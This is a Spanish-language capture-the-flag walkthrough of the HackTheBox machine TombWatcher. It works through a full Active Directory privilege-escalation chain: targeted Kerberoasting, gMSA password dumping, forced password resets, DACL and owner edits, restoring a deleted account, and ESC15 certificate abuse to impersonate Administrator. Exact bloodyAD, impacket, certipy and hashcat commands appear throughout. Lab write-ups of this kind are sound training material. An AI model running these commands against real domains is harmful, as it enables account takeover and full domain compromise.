TombWatcher - HackTheBox
Máquina Windows nivel Medium de la plataforma HackTheBox que forma parte del path CPTS.

🔑 Credenciales Iniciales
En esta máquina contamos con credenciales iniciales -> henry / H3nry_987TGV!
🌐 Enumeración Inicial
Escaneo de Puertos (Nmap)
Comenzaremos lanzando un escaneo de nmap para descubir los puertos abiertos existentes en la máquina víctima y otro para descubrir que servicios se ejecutan en cada uno de los puertos.
nmap -p- -Pn -n --min-rate 5000 --open 10.129.232.167 -oG ./nmap/puertos-tombwatcher
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49666/tcp open unknown
49695/tcp open unknown
49696/tcp open unknown
49698/tcp open unknown
49715/tcp open unknown
49718/tcp open unknown
49757/tcp open unknown
Enumeración de Servicios
nmap -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49666,49695,49696,49698,49715,49718,49757 -sCV -Pn 10.129.232.167 -oN ./nmap/servicios-tombwatcher
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-03-19 16:37:55Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-03-19T16:39:25+00:00; +4h00m02s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
|_ssl-date: 2026-03-19T16:39:24+00:00; +4h00m01s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
|_ssl-date: 2026-03-19T16:39:25+00:00; +4h00m02s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
|_ssl-date: 2026-03-19T16:39:24+00:00; +4h00m01s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49695/tcp open msrpc Microsoft Windows RPC
49696/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49698/tcp open msrpc Microsoft Windows RPC
49715/tcp open msrpc Microsoft Windows RPC
49718/tcp open msrpc Microsoft Windows RPC
49757/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 4h00m01s, deviation: 0s, median: 4h00m00s
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
| smb2-time:
| date: 2026-03-19T16:38:45
|_ start_date: N/A
tombwatcher.htb Y DC01.tombwatcher.htb
Puerto 5985 abierto por lo que podremos utilizar Winrm
LDAP habilitado
Servidor Web IIS en el puerto 80
Puerto 445 donde podría haber recursos compartidos de interés
Puerto 88 Kerberos
🔎 Enumeración con Credenciales
Validación de credenciales (SMB / LDAP)
Disponemos de credenciales, por lo que podríamos tratar de comprobar para qué son válidas utilizando netexec.
Podemos ver que estas credenciales son correctas y nos pueden servir para smb y para ldap, por lo que podríamos tratar de enumerar recursos smb y si no encontramos nada pasar directamente a enumerar con bloodhound.
Enumeración SMB
A nivel recursos smb no encontramos nada llamativo.
Enumeración de usuarios (RID brute)
Podemos utilizar --rid-brute para enumerar grupos y usuarios y almacenar los usuarios en un archivo para comprobar si las credenciales de henry se han reutilizado (pero ya os adelanto que no).
Llegados a este punto paso directamente a lanzar bloohound-python para recolectar toda la información y visualizarla posteriormente.
🧠 Enumeración con BloodHound
Importaremos los archivos .json generados a bloodhound (en mi caso utilizo Bloodhound CE en un contenedor en proxmox).
Análisis de relaciones de henry
Partiendo del usuario comprometido henry, lo marqué como “Owned” en BloodHound. A continuación, inspeccioné sus relaciones haciendo clic en la pestaña “Outbound Object Control”, que muestra los objetos sobre los que el usuario tiene algún tipo de control o privilegio.
En esta vista se identificó que el usuario henry tiene el permiso WriteSPN sobre el usuario Alfred.
🎯 Abuso WriteSPN → Targeted Kerberoasting
El permiso WriteSPN (Write Service Principal Name) permite modificar los SPN asociados a una cuenta. Este privilegio es especialmente interesante porque puede ser abusado para realizar un ataque de Kerberoasting dirigido:
Se puede asignar un SPN arbitrario a la cuenta de Alfred.
Solicitar un ticket de servicio (TGS) para ese SPN.
Obtener un hash Kerberos asociado a la cuenta de Alfred.
Intentar crackear el hash offline para recuperar su contraseña.
🔓 Compromiso de Alfred
\(krb5tgs\)23\(*Alfred\)TOMBWATCHER.HTB\(tombwatcher.htb/Alfred*\)13ac58eb2c74779c600a01eddac29b53$62529af3e4e171d5549832ad087fd3bcaa09f25e6b865eab372592c6b37097f6e01950fb02c89b397a4bb65645fff1af89629ed21778400ed3b134affb0ff7bddf51a78df0496b1d687763d19e8aecf95b74780e26db9cbdd8d2a78fc89f2e260f75f181f7f61ba7b93a30ea476d5bf8e8a33b0ab473a2057ec0c024e3fa0fa678844d4743a500357cb2d3a4a1e1c4c9485dcdaedce7b93002c71f6a5742851547dce63ed4f9ed351dd1bd1825fa16cb412be3e2eee3bcd1c86ca83ede9fce1620617baf1dcf637dcc6000f70b9958bbfd7dc140f57ff8698fb95c98b32bc5d00672aa4a0eaa858a7fcf782ff56bf907af35849fd3adb44becc7581113945dbcd811626667f35585a5f966a810bc630726f22cc6ad8fe933e080f924f6ff522d00c8c9e91ad8618ee340df402b07d5d26db68025c3bac65c4b9882045538918bfc76324faecae878872ff3310a316be171e18dabd1f0488f9e154e7b91a5c0cf2b2bc67e5cb23e5c1567de94aef0f426a808a65c2800acd94244e1ed5135f4f37cb27494c834392a71b9e2a59d420cd806878ddc9b242d5c83f1eca5b1eb4cab578e3c8042e8c638c3be2ba0b947e5ea4608e89faac39e6802acdd95c3c610eea7862a3e79cdeafe0e953aa940176d0c7a39266e04d3700d4cc82aa7189f7cb80f130c9354cd2c6fa4dde0fe7c2c64564768be0781c6f858cb0c808c9e60376c74c0f7d35e3f3b913f8c2af53385f0b5788881f7c15c3fef1259060c22c686bd1ad5e2d29349c6586eff28288e0ab3710753f442a2ff5ef3a2e8e95a495cbd5eb1a42e61bb2be1a09b1dd41fc21fdec73c7a020370723e2c57b71f13b221647270c1078e61aabec76376522dc3d046567feb4d7471d614f623a9921bb0926db1d6867eb3b12dbff9e669a894e79ea0be6e501223af3ee66c603c01437b9e91556379d285ea82af456599da9880be751f0db4241dc404f655348ac486f0c8ced84ca91f3aca4f22d9252ff01b814d185e2ec27ba0ce47681939e9c62617825ebe96867b045e78b52c53dc93476c5f2fd1b8eb08951d9f6d25303d883fb7d83863441722eac6d19f3fea61ed0fb731905c9a4af2151f998db99cd68bad27f875ba0cc7eb34401a5bf224511a7d548b061eb12a919544aab6ba955a028fb63c28069ca105230955333eec781531387d748c2728c35885c55ec37d5409cbc3e9c36754be71caa9b861199ed52c73c5bfb9db956d8e9761d8bac885d62d14e43c19d507c504969bb5b9ffdbc495064581a05ad121114670fd95be74b722dc274e879526b06632848086d8aa332101bd48dad0e27a905bbaad9ef9ab7da8c82ba23f24fe09af61f60fa94b17c598bb582996baf73544fcdaa436cb311901f34e86e8751df65b796f070f54adba2666ec5735fd759f575f8bbdd743312e8bb3c70e8028c482d8a2a29cb1b1b67d3870ccb9d1f6f933c2d339
[VERBOSE] SPN removed successfully for (Alfred)
Obtenemos el hash del usuario alfred que craquearemos utilizando hashcat y el diccionario rockyou.txt.
hashcat -a 0 -m 13100 hash.hash /usr/share/wordlists/rockyou.txt
Tras obtener la contraseña del usuario Alfred, continuamos con la enumeración utilizando BloodHound.
➕ Abuso AddSelf
Escalada a grupo Infrastructure
Se marcó a Alfred como “Owned” y, al igual que en el paso anterior, se analizó la pestaña “Outbound Object Control”, que muestra los privilegios que este usuario tiene sobre otros objetos del dominio.
En esta ocasión, se identificó que Alfred posee el privilegio AddSelf sobre el grupo Infrastructure.
El permiso AddSelf permite que un usuario se agregue a sí mismo como miembro de un grupo determinado.
En este caso, significa que:
Alfred puede añadirse directamente al grupo Infrastructure.
Esto no requiere privilegios adicionales ni interacción de otros usuarios.
Tras probar net rpc obtuve el error NT_STATUS_ACCESS_DENIED por lo que probé con bloodyAD.
bloodyAD -d tombwatcher.htb -u alfred -p <pass> --dc-ip 10.129.232.167 add groupMember "Infrastructure" "alfred"
[+] alfred added to Infrastructure
Una vez añadido Alfred al grupo Infrastructure, continuamos con el análisis con BloodHound.
🔑 Abuso ReadGMSAPassword
Extracción de credenciales gMSA (ANSIBLE_DEV$)
Al inspeccionar el grupo Infrastructure en la pestaña “Outbound Object Control”, se identificó que este grupo posee el privilegio ReadGMSAPassword sobre la cuenta ANSIBLE_DEV$.
El permiso
ReadGMSAPassworden Active Directory permite leer la contraseña de una cuenta gMSA (Group Managed Service Account).
Las gMSA son cuentas especiales usadas por servicios (como tareas programadas, servicios de Windows, Ansible, etc.), y su contraseña:
Se genera automáticamente
Es muy larga y compleja
Se rota periódicamente
Pero se almacena en AD en un atributo llamado:
msDS-ManagedPassword
Por lo que podemos aprovechar este privilegio con el usuario alfred para obtener la contraseña.
python3 gMSADumper.py -u alfred -p pass -d tombwatcher.htb
Se pueden extraer con netexec como alternativa.
Tras extraer las credenciales de la cuenta gMSA ANSIBLE_DEV$ (NTLM, AES128 y AES256), se continuó el análisis en BloodHound.
🔄 Abuso ForceChangePassword
Reset de contraseña de sam
Al marcar ANSIBLE_DEV$ como “Owned” y revisar “Outbound Object Control”, se identificó que esta cuenta posee el privilegio ForceChangePassword sobre el usuario sam.
El permiso
ForceChangePasswordpermite cambiar la contraseña de otro usuario sin conocer la contraseña actual.
En este caso:
ANSIBLE_DEV$ puede cambiar la contraseña de sam.
No se necesita autenticación previa como ese usuario.
No requiere interacción del usuario sam.
En mi caso utilizo bloody-AD.
bloodyAD -d tombwatcher.htb -u ANSIBLE_DEV$ -p :hash --dc-ip 10.129.232.167 set password sam "P@ssw0rd1234"
[+] Password changed successfully!
sam:P@ssw0rd1234
Tras cambiar la contraseña del usuario sam, continuamos con la enumeración con BloodHound.
🧬 Abuso WriteOwner → DACL Abuse
Al marcar sam como “Owned” y revisar “Outbound Object Control”, se identificó que este usuario posee el privilegio WriteOwner sobre el usuario john.
El permiso WriteOwner permite cambiar el propietario (owner) de un objeto en Active Directory.
En este caso:
sam puede convertirse en owner de john.
Y el owner tiene control implícito sobre los permisos (DACL).
- En primer lugar cambiamos el
owner
owneredit.py -action write -new-owner sam -target john tombwatcher.htb/sam:'P@ssw0rd1234'
El owner puede modificar la DACL aunque no tenga permisos previos.
- Nos damos permisos.
dacledit.py -action write -rights FullControl -principal sam -target john 'tombwatcher.htb'/'sam':'P@ssw0rd1234'
Añade una ACE en la DACL de john. Ahora sam tiene control total sobre john.
Con FullControl (GenericAll) ya podemos:
Resetear password.
Leer atributos.
Hacer lo que queramos con la cuenta.
bloodyAD -d tombwatcher.htb -u sam -p 'P@ssw0rd1234' --dc-ip 10.129.232.167 set password john "P@ssw0rd1234"
[+] Password changed successfully!
Finalmente lo que hemos hecho es modificar la contraseña de john a 'P@ssw0rd1234'.
🖥️ Acceso WinRM (john)
Comprobamos si disponemos de acceso al servidor a través de Winrm con netexec.
A continuación veremos el attack chain completo.
Tras comprometer el usuario john, se continuó la enumeración con BloodHound.
🧠 Enumeración Post-Compromiso
En la vista de Outbound Object Control, se identificó que john posee permisos GenericAll sobre el objeto ADCS@tombwatcher.htb.
ADCS -> Es el servicio de certificados de Active Directory (PKI), que permite:
Emitir certificados
Autenticación mediante certificados (Smartcard / Kerberos PKINIT)
Escaladas de privilegios tipo ESC1, ESC4...
Todo apunta a que esta va a ser la forma de escalar privilegios, abusar de alguna plantilla de certificado, para averiguarlo utilizaremos certipy-ad pero primero debemos abusar de GenericAll sobre ADCS.
🏛️ Abuso GenericAll sobre ADCS
Control total sobre OU ADCS
dacledit.py -action write -rights FullControl -inheritance -principal john -target-dn "OU=ADCS,DC=tombwatcher,DC=htb" tombwatcher.htb/john:'password'
Ahora que disponemos de control total sobre el objeto ADCS enumeramos plantillas de certificado vulnerables.
certipy-ad find -vulnerable -u john -p 'P@ssw0rd1234' -dc-host dc01.tombwatcher.htb -target 10.129.232.167
Tras revisar la salida de los archivos generados no encuentro nada de valor... por lo que tras un buen rato dando vueltas decidí dar un paso atrás y enumerar desde el acceso que ya había obtenido previamente con winrm.
⚠️ Descubrimiento clave: Usuarios eliminados
Enumeración de objetos tombstoned
Enumerando la Unidad Organizativa ADCS que descubrimos en Bloodhound veremos lo siguiente:
Si enumeramos los usuarios del dominio buscando además aquellos que hayan sido eliminados previamente veremos lo siguiente:
Get-ADObject -Filter 'isDeleted -eq $true -and objectClass -eq "user"' -IncludeDeletedObjects
Devuelve usuarios eliminados (tombstoned) del Directorio Activo.
Descubrimos el usuario cert_admin, y es más que probable que si restablecemos este usuario y modificamos su contraseña podamos enumerar plantillas de certificados y encontrar alguna vulnerable para escalar privilegios.
♻️ Restauración de usuario (cert_admin)
Restore-ADObject
En primer lugar debemos restaurar este usuario en el dominio.
Get-ADObject -Filter 'sAMAccountName -eq "cert_admin"' -IncludeDeletedObjects | Sort-Object -Property whenDeleted -Descending | Select-Object -First 1 | Restore-ADObject
🔓 Habilitación de cuenta
Remove ACCOUNTDISABLE
Tras restaurar el usuario en el dominio debemos modificar la flag ACCOUNTDISABLE del atributo userAccountControl - uac para habilitar el usuario.
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u john -p 'P@ssw0rd1234' remove uac cert_admin -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from cert_admin's userAccountControl
🔑 Abuso GenericAll sobre cert_admin
Reset de contraseña
El usuario cert_admin pertenece a la Unidad Organizativa ADCS, sobre la cual tenemos privilegios GenericAll, de forma que podemos modificar la contraseña del usuario.
- Modificamos la contraseña del usuario cert_admin:
bloodyAD -d tombwatcher.htb -u john -p 'P@ssw0rd1234' --dc-ip 10.129.232.167 set password cert_admin "P@ssw0rd1234"
[+] Password changed successfully!
🔍 Enumeración ADCS
Búsqueda de templates vulnerables
Y ahora ya podríamos tratar de enumerar plantillas de certificados vulnerables con certipy utilizando las credenciales de cert_admin.
cat 20260320044853_Certipy.json | jq
{
"Certificate Authorities": {
"0": {
"CA Name": "tombwatcher-CA-1",
"DNS Name": "DC01.tombwatcher.htb",
"Certificate Subject": "CN=tombwatcher-CA-1, DC=tombwatcher, DC=htb",
"Certificate Serial Number": "3428A7FC52C310B2460F8440AA8327AC",
"Certificate Validity Start": "2024-11-16 00:47:48+00:00",
"Certificate Validity End": "2123-11-16 00:57:48+00:00",
"Web Enrollment": {
"http": {
"enabled": false
},
"https": {
"enabled": false,
"channel_binding": null
}
},
"User Specified SAN": "Disabled",
"Request Disposition": "Issue",
"Enforce Encryption for Requests": "Enabled",
"Active Policy": "CertificateAuthority_MicrosoftDefault.Policy",
"Permissions": {
"Owner": "TOMBWATCHER.HTB\\Administrators",
"Access Rights": {
"1": [
"TOMBWATCHER.HTB\\Administrators",
"TOMBWATCHER.HTB\\Domain Admins",
"TOMBWATCHER.HTB\\Enterprise Admins"
],
"2": [
"TOMBWATCHER.HTB\\Administrators",
"TOMBWATCHER.HTB\\Domain Admins",
"TOMBWATCHER.HTB\\Enterprise Admins"
],
"512": [
"TOMBWATCHER.HTB\\Authenticated Users"
]
}
}
}
},
"Certificate Templates": {
"0": {
"Template Name": "WebServer",
"Display Name": "Web Server",
"Certificate Authorities": [
"tombwatcher-CA-1"
],
"Enabled": true,
"Client Authentication": false,
"Enrollment Agent": false,
"Any Purpose": false,
"Enrollee Supplies Subject": true,
"Certificate Name Flag": [
1
],
"Extended Key Usage": [
"Server Authentication"
],
"Requires Manager Approval": false,
"Requires Key Archival": false,
"Authorized Signatures Required": 0,
"Schema Version": 1,
"Validity Period": "2 years",
"Renewal Period": "6 weeks",
"Minimum RSA Key Length": 2048,
"Template Created": "2024-11-16 00:57:49+00:00",
"Template Last Modified": "2024-11-16 17:07:26+00:00",
"Permissions": {
"Enrollment Permissions": {
"Enrollment Rights": [
"TOMBWATCHER.HTB\\Domain Admins",
"TOMBWATCHER.HTB\\Enterprise Admins",
"TOMBWATCHER.HTB\\cert_admin"
]
},
"Object Control Permissions": {
"Owner": "TOMBWATCHER.HTB\\Enterprise Admins",
"Full Control Principals": [
"TOMBWATCHER.HTB\\Domain Admins",
"TOMBWATCHER.HTB\\Enterprise Admins"
],
"Write Owner Principals": [
"TOMBWATCHER.HTB\\Domain Admins",
"TOMBWATCHER.HTB\\Enterprise Admins"
],
"Write Dacl Principals": [
"TOMBWATCHER.HTB\\Domain Admins",
"TOMBWATCHER.HTB\\Enterprise Admins"
],
"Write Property Enroll": [
"TOMBWATCHER.HTB\\Domain Admins",
"TOMBWATCHER.HTB\\Enterprise Admins",
"TOMBWATCHER.HTB\\cert_admin"
]
}
},
"[+] User Enrollable Principals": [
"TOMBWATCHER.HTB\\cert_admin"
],
"[!] Vulnerabilities": {
"ESC15": "Enrollee supplies subject and schema version is 1."
},
"[*] Remarks": {
"ESC15": "Only applicable if the environment has not been patched. See CVE-2024-49019 or the wiki for more details."
}
}
}
}
💥 Abuso ESC15 (EKUwu)
Podemos abusar de la vulnerabilidad ESC15 en ADCS para escalar privilegios.
ESC15 (EKUwu) es un ataque contra Active Directory Certificate Services (ADCS), que explota un fallo lógico en las plantillas de certificados Schema v1.
Este fallo ocurre porque la Autoridad Certificadora (CA) no aplica correctamente las restricciones de Extended Key Usage (EKU).
🎟️ Solicitud de certificado
Primero vamos a solicitar un certificado a la CA como cert_admin, pero intentando que el certificado represente a Administrator para poder autenticarnos como él.
certipy-ad req -dc-ip 10.129.232.167 -ca tombwatcher-CA-1 -target-ip 10.129.232.167 -u cert_admin@tombwatcher.htb -p 'P@ssw0rd1234' -template WebServer -upn Administrator@tombwatcher.htb -application-policies 'Client Authentication'
Suplantación de Administrator - AUtenticación con Certificado
Después nos autenticamos como el usuario administrador utilizando el certificado que generamos en el paso anterior para obtener conseguir acceso a una ldap-shell, desde donde modificaremos la contraseña del usuario administrador.
certipy-ad auth -pfx administrator.pfx -dc-ip '10.129.232.167' -ldap-shell
Cambio de contraseña de Administrator
Tras modificar la contraseña ya podremos acceder al servidor a través de Winrm y leer la flag de root.
🏁 Acceso final (WinRM / root)





